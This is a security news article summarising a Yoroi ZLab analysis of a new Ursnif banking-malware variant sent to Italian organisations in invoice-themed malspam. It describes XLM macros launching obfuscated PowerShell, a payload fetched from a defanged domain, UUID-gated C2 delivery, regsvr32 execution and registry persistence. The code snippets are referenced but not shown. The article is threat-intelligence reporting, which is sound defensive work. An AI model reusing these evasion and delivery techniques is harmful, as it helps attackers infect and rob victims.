Pierluigi Paganini April 17, 2020

Cybaze-Yoroy ZLab researchers spotted a new variant of Ursnif that is targeting organizations in Italy.

Introduction

Ursnif is one of the most and widespread threats, it is delivered through malspam campaigns aimed at multiple industries across Italy and Europe.  

Recently, we have identified a new variant that is targeting Italian organizations. The malspam messages use attachments with subjects like “Avviso di Pagamento_xxxx_date” where xxxx is a number and date is a date reported in the format “dd-mm-yyyy” (i.e. “Avviso di Pagamento_14326_15_04_2020”). We spotted some major changes in the techniques employed in the Ursnif/ISFB droppers used in the campaign. Operators behind the campaign have adopted new techniques to avoid detection and propose important changes in the Ursnif infection chain. 

Technical Analysis

The variant used in the campaign against Italian organizations contains some important “upgrades” compared with other samples of the Ursnif malware family and a significant evolution of the attack chain. First of all, the dropper uses Excel 4.0 macros (XLM macros) in the attempt to make it hard the detection by AVs, then it uses two different C2, one of them is only used for the registration of the victim machine identified by a UUID. 

The following picture reports the Ursnif Infection chain that is used in this campaign:

Figure 1: Ursnif Infection Chain

Macro from the Past  

This brand new Ursnif italian campaign is delivered as a malicious email attachment with XML macro embedded into it. Following, the static information of the dropper:

Table 1. Sample information

Once opened, the document looks like an invoice ready to be filled, it displays a “Visualize” button to trick victims into clicking on it and the infection starts. Upon clicking the “Visualizza” button would start all the malicious infection chains designed to compromise the target machine.  

Figure 2: Overview of the document

Even if the document is structurally similar to other ones used to spread the malware in past malspam campaigns, its content stands out.

The security notice informs us that dynamic content is contained in the document, a deep inspection revealed the presence of some embedded EXCEL 4.0 macros (XML/XLF macros).

Figure 3: Piece of the malicious XLM Macro

The dynamic content is written in Powershell and it is split across multiple cells and then evaluated with some defined handler:

Figure: Evidence of the Executed code

The Frame1_Layout handler is triggered when the user clicks on “Allow Content”. 

Then the malicious macro is re-assembled and the document prepares a window to display a message to the users informing him that the document is corrupted. When the user clicks on it, the macro kills the Excel process, but the Powershell continues its execution in the background.

The extracted macro represents the Ursnif Dropper, after reassembling it, looks like as shown in the figure:

Code snippet 1

After deobfuscating bit it looks like this:

Code Snippet 2

The dropper uses base64 encoding, string substitution (sequences of multiple ‘{}’) and string capitalization (sequences of upper and lower case).

Once the macro is executed, the dropper will contact the newuploadswift [.]pw domain in order to download the next stage payload and executes it using the PowerShell engine. The next downloaded stage looks like below:

Code snippet 3

After de-obfuscating it, the powershell becomes:

Code Snippet 4

At this point it is necessary to highlight a particular trick adopted by the malware to make the infection unique on the machine: in the previous code snippet, we have sees the creation of the UUID of the machine, which is passed to the same c2 as a parameter for the next GET request. In case the same UUID is used a second time, the server replies with an empty body. If the UUID is passed for the first time to the server, in turn, it provides the next stage of the infection, as shown in the previous figure.

Figure 4: Piece of the encrypted DLL downloaded from the DropURL

As seen in the previous figure, the body of the response is encrypted. It is decrypted by the AES routine shown in Code Snippet 4 (highlighted in red) and then executed through “regsrv32.exe” process. 

The Loader

The payload is as follows:

Table 2. Sample information

This component is the loader for the ursnif payload. It writes the following registry key at the path “HKCU\Software\AppDataLow\Software\Microsoft\Microsoft\[RANDOMID]” as persistence mechanism:

Figure 5: Registry key evidence

As the classic Ursnif malware infection, it sends the configuration string to the C2 encoded in Base64 format and encrypted with the Serpent algorithm. There are two ways to retrieve the configuration string: the first one is to decrypt it from the request sent to the C2, decrypting the serpent with the key extracted from the process memory; the second one is to look for the configuration string inside the process. In the end, the configuration of this Ursnif campaign is the following:

Conclusion

With our previous analysis we tracked the evolution of Ursnif TTPs over time. Some of the techniques used by the malware are rapidly evolving especially in the direction of evasion and anti-analysis.

This Italian campaign, while maintaining the same characteristics and capabilities of recent ones, uses xlm macros to low detection by AVs, and two different C2, one of which is deputy to track each infection with an unique UUID. This mechanism permit to better track the return of investment of the malicious campaign.

Additional details, including Indicators of Compromise (IoCs) and Yara rules, are reported in the analysis published by ZLab.

https://yoroi.company/research/a-brand-new-ursnif-isfb-campaign-targets-italian-organizations/

Pierluigi Paganini

(SecurityAffairs – Ursnif, malware)

[adrotate banner=”5″]

[adrotate banner=”13″]